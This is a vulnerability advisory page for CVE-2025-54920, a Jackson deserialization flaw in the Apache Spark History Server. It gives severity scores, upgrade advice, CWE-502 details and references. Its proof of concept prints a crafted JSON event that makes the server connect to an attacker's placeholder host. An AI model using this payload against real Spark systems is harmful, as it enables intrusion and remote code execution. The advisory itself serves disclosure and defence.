CVE-2025-54920

Published: Mar 16, 2026 Last Modified: Mar 17, 2026
ExploitDB:
Other exploit source:
Google Dorks:
HIGH 8,8
Source: 134c704f-9b21-4f2e-91b3-4a467353bcc0
Attack Vector: network
Attack Complexity: low
Privileges Required: low
User Interaction: none
Scope: unchanged
Confidentiality: high
Integrity: high
Availability: high

Description

AI Translation Available

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.

Summary

Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.

Details

The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.

The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.

Proof of Concept:

1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).

2. Inject the following JSON at the beginning of an event log file:

{

'Event': 'org.apache.hive.jdbc.HiveConnection',
'uri': 'jdbc:hive2://<IP>:<PORT>/',
'info': {
'hive.metastore.uris': 'thrift://<IP>:<PORT>'
}
}

3. Start the Spark History Server with logs pointing to the modified directory.

4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.

Impact

An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

EPSS (Exploit Prediction Scoring System)

Trend Analysis

EPSS (Exploit Prediction Scoring System)

Prevede la probabilità di sfruttamento basata su intelligence sulle minacce e sulle caratteristiche della vulnerabilità.

EPSS Score
0,0017
Percentile
0,4th
Updated

EPSS Score Trend (Last 4 Days)

502

Deserialization of Untrusted Data

Draft
Common Consequences
Security Scopes Affected:
Integrity Availability Other
Potential Impacts:
Modify Application Data Unexpected State Dos: Resource Consumption (Cpu) Varies By Context
Applicable Platforms
Languages: Java, JavaScript, PHP, Python, Ruby
Technologies: AI/ML, ICS/OT, Not Technology-Specific
View CWE Details
http://www.openwall.com/lists/oss-security/2026/03/13/4
https://github.com/apache/spark/pull/51312
https://github.com/apache/spark/pull/51323
https://issues.apache.org/jira/browse/SPARK-52381
https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s